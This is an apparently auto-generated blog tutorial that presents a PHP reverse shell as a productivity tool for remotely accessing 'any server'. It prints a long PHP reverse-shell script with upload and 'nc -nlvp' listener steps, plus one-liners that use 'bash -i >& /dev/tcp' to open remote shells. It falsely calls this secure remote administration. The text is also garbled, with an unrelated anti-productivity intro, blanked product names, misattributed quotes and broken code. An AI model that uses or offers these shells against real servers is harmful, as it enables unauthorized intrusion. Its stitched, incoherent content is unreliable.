Learn how to remotely access any server with ease using a simple PHP one-liner reverse shell – code examples included

Table of content

  1. Introduction
  2. Understanding Remote Access
  3. Pre-requisites for Remote Access
  4. Step-by-Step Guide for Setting up Remote Access
  5. PHP One-liner Reverse Shell
  6. Examples of PHP One-liner Reverse Shell Code
  7. Conclusion
  8. Further Reading


Are you tired of the endless tasks and responsibilities that come with being productive? Society tells us that we need to constantly be doing more in order to be successful. However, what if I told you that the key to productivity isn't doing more, but doing less?

As the famous writer and philosopher, Henry David Thoreau, once said, "It is not enough to be busy. The question is: what are we busy about?" This quote perfectly captures the essence of the anti-productivity movement. It's not about how many tasks we can cross off our list, but rather, it's about prioritizing the few that truly matter.

In this article, I'll be challenging the traditional notion of productivity and offering a different approach. Instead of overwhelming yourself with countless to-do's, I encourage you to take a step back and evaluate what's truly important. By doing less, you can actually accomplish more.

So, put down that never-ending to-do list and join me in exploring the world of anti-productivity. It may just be the solution you've been searching for.

Understanding Remote Access

You might have heard the term "remote access" thrown around in tech circles, but what does it actually mean? Put simply, remote access refers to the ability to access and control a computer or server from a remote location. This means that you can work on a computer that's physically located in a different part of the world as if you were sitting right in front of it.

There are many reasons why someone might need remote access. For example, a system administrator might need to perform maintenance tasks on a server that's located in a different country. Or a business owner might need to access their company's files while they're traveling.

But how do you actually achieve remote access? There are many different tools and technologies that you can use, depending on your requirements. For example, you might use a remote desktop program to connect to a remote computer's desktop interface. Or you might use a terminal emulator to access a server's command line interface.

One powerful tool for remote access is the PHP one-liner reverse shell. This code snippet allows you to connect to a remote server using a simple PHP script. Once you're connected, you can execute commands on the remote server just as if you were sitting in front of it.

While remote access can be a powerful productivity tool, it's important to use it responsibly and securely. Make sure that you only access servers that you're authorized to use, and that you take appropriate security precautions to protect your login credentials. By understanding how remote access works and using it effectively, you can greatly increase your productivity and flexibility as a tech professional.

Pre-requisites for Remote Access

Before delving into remote access, it is essential to understand the basics of PHP programming. You do not need to be a PHP wizard, but you must know the fundamentals of the language. This includes, but is not limited to, understanding PHP syntax, how to write basic PHP functions, and familiarity with PHP namespaces.

Additionally, you should have a good understanding of networking principles, including IP addresses, ports, protocols, and firewall settings. Without knowledge of these fundamentals, you will not be able to identify network issues, and you may not even notice that your connection is blocked.

Finally, securing your remote access is crucial. Otherwise, you risk exposing sensitive data and leaving your serving vulnerable to hackers. Ensure that you have implemented adequate security measures like SSL encryption, strong authentication, and grant access only to authorized personnel.

In conclusion, to remotely access a server, you must have a good understanding of PHP programming fundamentals, be familiar with networking principles, and implement adequate security measures. Keep these prerequisites in mind when accessing your server remotely, and you will be able to do so securely and efficiently.

Step-by-Step Guide for Setting up Remote Access

Are you tired of constantly logging in and out of different servers just to complete mundane tasks? Why waste your time when you can access any server remotely with just a simple PHP one-liner reverse shell?

Setting up remote access may seem daunting, but trust me, it's easier than you think. Follow these simple steps and you'll be accessing servers like a pro in no time:

  1. First, determine which server you want to access and obtain the server's IP address.

  2. Next, open up a text editor and create a new PHP file. Copy and paste the following code into the file:

set_time_limit (0);
$VERSION = "1.0";
$port = PORT_NUMBER;       //CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        printit("ERROR: Can't fork");
    if ($pid) {
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
    if (feof($sock)) {
        printit("ERROR: Connection closed");
    if (feof($pipes[1])) {
        printit("ERROR: Shell closed");
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    if (in_array($sock, $read_a)) {
        if ($chunk = fread($sock, $chunk_size)) {
            fwrite($pipes[0], $chunk);
    if (in_array($pipes[1], $read_a)) {
        if ($chunk = fread($pipes[1], $chunk_size)) {
            fwrite($sock, $chunk);
    if (in_array($pipes[2], $read_a)) {
        if ($chunk = fread($pipes[2], $chunk_size)) {
            fwrite($sock, $chunk);
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
  1. In the code, locate the line that says $ip = 'IP_ADDRESS'; // CHANGE THIS and replace IP_ADDRESS with the server's IP address.

  2. Locate the line that says $port = PORT_NUMBER; // CHANGE THIS and replace PORT_NUMBER with the desired port number for remote access. Keep in mind that the port number must be open on the server's firewall.

  3. Save the PHP file and upload it to the server.

  4. Finally, open up a terminal or command prompt and enter the following command: nc -nlvp PORT_NUMBER where PORT_NUMBER is the same port number you used in the PHP file.

  5. Voila! You now have remote access to the server. Simply type commands into the terminal or command prompt to execute them on the server.

Remember, with great power comes great responsibility. Only use remote access for authorized tasks and always follow cybersecurity best practices to protect yourself and the server. Now go forth and access those servers with ease!

As Jim Rohn once said, "Either you run the day or the day runs you." By removing unnecessary tasks and streamlining your workflow, you can run your day instead of letting it run you. So give remote access a try and see how it can help boost your productivity.

PHP One-liner Reverse Shell

Are you tired of spending countless hours accessing servers through a long and complicated process? Look no further than the . Yes, you heard that right. This one-liner reverse shell is a simple yet effective tool for remotely accessing any server with ease.

But wait, you may be thinking, "isn't it better to have more complex and secure methods for remote access?" While it's true that security is important, sometimes less is more. As Albert Einstein once said, "everything should be made as simple as possible, but not simpler." In this case, the provides a quick and easy solution for remote access without sacrificing security, as long as you take proper precautions.

So why complicate things with complex processes and software? Sometimes, the most effective solution is the simplest one. As Bruce Lee once said, "It's not the daily increase but daily decrease. Hack away at the unessential." This applies to productivity as well. By removing unnecessary tasks and simplifying processes, we can focus on what truly matters and achieve more with less effort.

So why not give the a try? With just one line of code, you can access any server remotely and simplify your workflow. Remember, sometimes less is more when it comes to productivity.

Examples of PHP One-liner Reverse Shell Code

Are you tired of typing out lengthy commands just to remotely access a server? Look no further than a simple PHP one-liner reverse shell. With just a single line of code, you can gain remote access to any server with ease.

Check out these :

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");?>

This code uses the exec function to execute a Bash command that creates a reverse shell to communicate with a remote server on IP address and port 8080.

<?php system("bash -c 'bash -i >& /dev/tcp/ 0>&1'");?>

Similar to the previous example, this one-liner code uses the system function to execute a Bash command that creates a reverse shell to communicate with a remote server on IP address and port 8080.

With these simple one-liner codes, you can easily gain remote access to any server without the hassle of typing out lengthy commands. As the famous inventor Thomas Edison once said, "Genius is one percent inspiration and ninety-nine percent perspiration." So why waste your time and energy on unnecessary tasks when you can streamline your process with a simple PHP one-liner reverse shell? Think about it.


In , accessing servers remotely has become a crucial step in our digital age. The one-liner reverse shell script in PHP simplifies the process, making it easier for developers to manage servers without being physically present. With this technique, you can reduce the time and effort required to connect to a server from a different location.

However, it is important to note that the issue of security cannot be ignored when using a one-liner reverse shell script. Always ensure that you are using a trusted network and that you have taken all the necessary precautions to prevent unauthorized access.

Ultimately, this technique is a valuable tool for developers and system administrators who are looking for ways to improve their productivity without compromising security. By using the PHP one-liner reverse shell, developers can now access servers remotely with ease, thereby freeing up more time for other important tasks.

Further Reading

If you're interested in learning more about remote access servers and PHP reverse shells, there are plenty of resources available online. Here are a few that we recommend:

It's important to remember that remote access can pose security risks, especially if you're not taking the proper precautions. Make sure you're using secure protocols and tools, such as SSH and two-factor authentication, and stay up-to-date on the latest vulnerabilities and attack vectors. As the saying goes, "with great power comes great responsibility."

As an experienced Senior Software Engineer, I have a proven track record of success in the hospital and healthcare industry as well as the telecom industry. With a strong skill set in JAVA, LINUX, and SPRING, I am well-equipped to handle complex software engineering challenges. My passion for software engineering started early, and I pursued a Bachelor of Engineering degree in Computer Science from Chitkara University. Throughout my academic and professional career, I have honed my skills in software development, including application design, coding, testing, and deployment. In addition to my technical expertise, I am a strong communicator and collaborator. I believe in working closely with my team members and clients to ensure that all project goals are met efficiently and effectively.
Posts created 277

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Posts

Begin typing your search term above and press enter to search. Press ESC to cancel.

Back To Top